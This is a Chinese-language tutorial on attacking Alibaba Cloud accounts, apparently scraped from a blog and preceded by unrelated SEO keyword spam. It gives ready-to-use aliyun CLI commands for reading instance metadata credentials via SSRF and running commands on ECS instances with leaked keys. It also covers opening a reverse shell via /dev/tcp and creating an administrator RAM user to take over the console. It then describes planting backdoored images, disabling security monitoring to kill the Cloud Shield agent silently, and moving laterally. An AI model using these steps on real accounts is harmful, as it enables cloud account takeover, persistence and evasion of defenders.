先做网站还是先做天猫,深圳影视广告在哪里好,做注册会员和购物的网站需要什么,新房装修关于VPC的概念还请看#xff1a;记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区 一、初始化访问
1、元数据
1.1、SSRF导致读取元数据 如果管理员给ECS配置了RAM角色#xff0c;那么就可以获得临时凭证 如果配置RAM角色
在获取ram临时凭证的时候#xff…关于VPC的概念还请看记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区 一、初始化访问
1、元数据
1.1、SSRF导致读取元数据 如果管理员给ECS配置了RAM角色那么就可以获得临时凭证 如果配置RAM角色
在获取ram临时凭证的时候有一个必要的条件
当前ECS必须被授予了RAM 首先我们来看一下没有授予权限的机器 访问这个目录后就会显示404接下来我们配置好权限之后在请求一次 注意 如果管理员在配置RAM权限的时候选择的角色为服务那么就没办法用该账号访问别的 如果权限较小的话也无法进行更多的横向操作
2、AK密钥泄露
云场景下的凭证泄露可以分成以下几种 控制台账号密码泄露例如登录控制台的账号密码 临时凭证泄露 访问密钥泄露即 AccessKeyId、SecretAccessKey 泄露 实例登录凭证泄露例如 AWS 在创建 EC2 生成的证书文件遭到泄露
对于这类凭证信息的收集一般可以通过以下几种方法进行收集 Github 敏感信息搜索 反编译目标 APK、小程序 目标网站源代码泄露
2.1、执行任意命令
首先如果使用Aliyun的CLi作为演示 aliyun ecs DescribeInstances
我们使用该命令来获取所有的ECS信息并输出到ecs.json文件中 我们可以看到这里有一个InstanceId
随后使用下面的命令可以在ECS上执行命令
aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent touch /tmp/UzJu 2.2、反弹shell
在新服务器中开启NC aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent bash -c exec bash -i /dev/tcp/ip/port 1
随后使用aliyun cli输入命令 2.3、创建RAM账号登录控制台
获取到泄露的AK之后可以通过写入RAM账户登录
首先在aliyun cli中配置泄露的AKID等信息
2.3.1、GetAccountAlias接口
通过调用GetAccountAlias接口查看账号别名 官方文档地址调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心 aliyun ram GetAccountAlias 2.3.2、CreateUser
调用CreateUser接口创建一个RAM用户
aliyun ram CreateUser --UserName xxx 2.3.3、CreateLoginProfile
调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录
aliyun ram CreateLoginProfile --UserName xxx --Password xxxx 2.3.4、AttachPolicyToUser
调用AttachPolicyToUser接口为指定用户添加权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx 2.3.5、登录控制台
在登录控制台的时候我们需要在用户名的后面加上一个符号后面跟上域名等那么此时我们没有域名应该如何登陆
我们只需要使用以下命令获取到ID放在符号后边即可
aliyun ram GetAccountAlias 3、恶意的镜像
获取控制台权限后可导入存在后门的镜像 下次目标用户在选用镜像创建实例的时候就会触发我们在镜像中植入的恶意代码了。
三、命令执行
1、接管控制台
在上文中我们提到关于RAM用户权限比较小的时候我们没办法登录控制台但是如果权限足够的情况能否登录控制台
我们知道了如果想让ECS中的元数据有RAM这个目录我们必须给ECS授权RAM角色 例如我们现在并没有给ECS授权RAM角色那么我们请求元数据地址看看是否还是404 尝试给ECS授权RAM角色在创建角色的时候有三个选项这里尝试前两个 阿里云账号 阿里云服务
首先我们来看一下阿里云账号 随后创建完成需要给角色授权 此时我们选择所有阿里云资源权限 随后来到ECS添加授权会发现无法添加 既然这样在选择角色的时候如果选择阿里云服务 随后选择一样的权限 然后回到ECS中请求元数据看是否存在RAM目录 在不知道ram角色名的情况下如果请求/ram/security-credentials/目录则会返回RAM角色名 此时我们再请求Service即可获得临时凭证 采坑
这里在尝试的时候一直会有一个问题我们配置好上图获取到的AKID和SECRET之后配置到aliyun cli会发现需要一个SecurityToken参数 这里的解决办法就是在配置的时候加上一个--mode参数即可
aliyun configure --mode StsToken 随后我们创建新的RAM角色登录控制台
1.1、创建RAM角色账户登录控制台
1、GetAccountAlias
通过调用GetAccountAlias接口查看账号别名 官方文档地址调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心 aliyun ram GetAccountAlias 2、CreateUser
调用CreateUser接口创建一个RAM用户
aliyun ram CreateUser --UserName xxx 3、CreateLoginProfile
调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录
aliyun ram CreateLoginProfile --UserName xxx --Password xxxx 4、AttachPolicyToUser
调用AttachPolicyToUser接口为指定用户添加权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx 5、登录控制台
此时有一个疑惑在登录控制台的时候我们需要在用户名的后面加上一个符号后面跟上域名等那么此时我们没有域名应该如何登陆
aliyun ram GetAccountAlias
使用该命令我们可以获取到一串数字AccountAlias随后把这串数字放到用户名的后面即可 随后输入我们设置的密码即可 随后我们成功登录了控制台 6、注意
如果我们获取到的临时凭据在权限很小的时候是无法创建RAM用户登录控制台的 四、权限维持
1 、云函数
通过云函数的方式创建后门 2、后门镜像
获取控制台权限后可导入存在后门的镜像 下次目标用户在选用镜像创建实例的时候就会触发我们在镜像中植入的恶意代码了。
3、创建访问密钥
4.4.1、通过创建新的RAM角色登录控制台
1、GetAccountAlias
通过调用GetAccountAlias接口查看账号别名 官方文档地址调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心 aliyun ram GetAccountAlias 2、CreateUser
调用CreateUser接口创建一个RAM用户
aliyun ram CreateUser --UserName xxx 3、CreateLoginProfile
调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录
aliyun ram CreateLoginProfile --UserName xxx --Password xxxx 4、AttachPolicyToUser
调用AttachPolicyToUser接口为指定用户添加权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx 5、登录控制台
此时有一个疑惑在登录控制台的时候我们需要在用户名的后面加上一个符号后面跟上域名等那么此时我们没有域名应该如何登陆
aliyun ram GetAccountAlias
使用该命令我们可以获取到一串数字AccountAlias随后把这串数字放到用户名的后面即可 随后输入我们设置的密码即可 随后我们成功登录了控制台 五、防御绕过
1、关闭安全监控服务
正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行 如果我们强制Kill就会收到告警 可以在云安全中心把所有的监控都关了然后就可以kill掉这个进程了 并且我们不会收到告警
六、信息收集
1、元数据
在阿里云ECS常见下可以直接请求http://100.100.100.200/latest/meta-data/ 来获取元数据 tIps
有时候我们请求http://100.100.100.200/latest/meta-data/会发现返回404这是因为没有配置Ram用户 详情请看【命令执行那一栏】 2、子网信息
在进行横向移动时如果知道目标存在哪些网段可以起到事半功倍的效果在云场景下可以直接通过控制台看到目标的网段情况。
七、横向移动
1、访问凭证
当拿到目标的临时访问凭证或者访问密钥后可以通过命令行或者也可以通过控制台的方式进行内网横向移动。